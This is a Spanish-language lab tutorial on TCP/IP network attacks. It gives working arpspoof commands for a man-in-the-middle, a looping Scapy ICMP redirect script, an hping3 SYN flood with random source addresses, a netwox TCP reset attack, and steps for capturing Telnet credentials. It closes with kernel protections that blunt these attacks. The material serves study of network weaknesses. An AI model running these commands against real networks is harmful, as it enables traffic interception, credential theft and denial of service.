El estudio de la seguridad en redes requiere comprender las debilidades inherentes a la pila de protocolos TCP/IP. A continuación, se detalla un análisis técnico sobre diversas técnicas de manipulación de tráfico en entornos controlados, cubriendo desde el envenenamiento de tablas ARP hasta el secuestro de sesiones activas.
- Envenenamiento de Caché ARP (ARP Spoofing)
Esta técnica explota la ausencia de autenticación en el protocolo ARP dentro de una red local. El objetivo es asociar la dirección MAC del atacante con la dirección IP de una víctima o de la puerta de enlace predeterminada.
Configuración del Entorno
Para este escenario, se asumen las sigueintes direcciones en un entorno de laboratorio:
- Nodo Atacante: IP 172.16.10.5, MAC 08:00:27:AA:BB:CC
- Nodo Víctima: IP 172.16.10.20, MAC 08:00:27:11:22:33
- Gateway: IP 172.16.10.1, MAC 08:00:27:DD:EE:FF
Habilitación del Reenvío de Paquetes
Para actuar como intermediario sin interrumpir la conectividad de la víctima, el atacante debe permitir que el núcleo del sistema operativo reenvíe el tráfico:
sysctl -w net.ipv4.ip_forward=1
Ejecución de la Intercepción
Utilizando herramientas de red, se envían respuestas ARP no solicitadas a ambos extremos de la comunicación:
# Hacer creer a la víctima que el atacante es el gateway
arpspoof -i eth1 -t 172.16.10.20 172.16.10.1
# Hacer creer al gateway que el atacante es la víctima
arpspoof -i eth1 -t 172.16.10.1 172.16.10.20
Al finalizar, la tabla ARP de la víctima mostrará la dirección MAC del atacante vinculada a la IP del gateway, permitiendo la inspección de paquetes (Man-in-the-Middle).
- Ataque de Redirección ICMP
El protocolo ICMP tipo 5 (Redirect) es utilizado por los routers para informar a los hosts de una ruta más eficiente. Un atacante puede falsificar estos mensajes para forzar a una víctima a enviar su tráfico a través de una ruta maliciosa.
Automatización con Scapy
El siguiente script en Python utiliza la librería Scapy para generar paquetes de redirección de host de forma continua:
from scapy.all import IP, ICMP, UDP, send
import time
def lanzar_redireccion(target_ip, gw_ip, fake_gw_ip):
# Construcción del paquete ICMP Redirect (Type 5, Code 1)
ip_layer = IP(src=gw_ip, dst=target_ip)
icmp_layer = ICMP(type=5, code=1, gw=fake_gw_ip)
# Paquete interno que simula haber causado la redirección
payload = IP(src=target_ip, dst="1.1.1.1") / UDP(sport=520, dport=53)
packet = ip_layer / icmp_layer / payload
send(packet, verbose=False)
if __name__ == "__main__":
victima = "172.16.10.20"
gateway_original = "172.16.10.1"
host_atacante = "172.16.10.5"
print(f"Enviando mensajes ICMP Redirect a {victima}...")
while True:
lanzar_redireccion(victima, gateway_original, host_atacante)
time.sleep(2)
Es importante notar que muchos sistemas modernos ignoran estos paquetes por defecto. Para pruebas de concepto, se debe verificar el parámetro del kernel accept_redirects en el sistema objetivo.
- Inundación SYN (SYN Flood)
Este ataque de denegación de servicio (DoS) aprovecha el protocolo de tres vías de TCP (3-way handshake). El atacante envía múltiples solicitudes SYN sin completar la conexión, saturando la tabla de conexiones pendientes (backlog) del servidor.
Simulación de Carga
Se puede utilizar la herramienta hping3 para generar una inundación con direcciones de origen aleatorias para dificultar el filtrado:
sudo hping3 -c 15000 -d 120 -S -w 64 -p 80 --flood --rand-source 172.16.10.20
Para monitorear el estado del servidor, se puede observar el incremento de conexiones en estado SYN_RECV:
ss -ant | grep SYN-RECV | wc -l
- Ataque TCP RST
Consiste en enviar paquetes con el flag RST (Reset) activado a una conexión establecida. Si el número de secuencia es aceptable para el receptor, la conexión se cierra inmediatamente, provocando una denegación de servicio selectiva.
Utilizando el kit de herramientas netwox, se puede automatizar la interrupción de todas las conexiones TCP hacia un objetivo específico:
sudo netwox 78 -i 172.16.10.20
- Secuestro de Sesión TCP (Session Hijacking)
Esta técnica permite a un atacante tomar control de una sesión activa entre dos nodos. Requiere la intercepción previa del tráfico (vía ARP Spoofing) para predecir o leer los números de secuencia y reconocimiento (SEQ/ACK) actuales.
Interceptación de Credenciales en Servicios No Cifrados
Servicios como Telnet transmiten datos en texto claro. Al realizar un ataque MITM, es posible utilizar herramientas como Ettercap o Wireshark para capturar la secuencia de comandos y las credenciales de acceso:
- Se inicia el escaneo de hosts en la subred.
- Se establece el envenenamiento ARP entre el cliente y el servidor.
- Se filtran los paquetes dirigidos al puerto 23 (Telnet).
- Se reconstruye el flujo TCP para visualizar la interacción del usuario.
Consideraciones Técnicas y Resolución de Problemas
Durante la experimentación, existen factores del entorno virtual que pueden mitigar estos ataques de forma involuntaria:
- Configuración NAT: En entornos como VMware o VirtualBox bajo modo NAT, el motor de red virtual puede actuar como un firewall inteligente que filtra paquetes ICMP Redirect o paquetes con MACs inconsistentes.
- Protecciones del Kernel: La mayoría de las distribuciones Linux actuales tienen habilitados parámetros como
rp_filter(Reverse Path Filtering) y deshabilitadoaccept_redirects, lo que previene ataques de suplantación y redirección por defecto.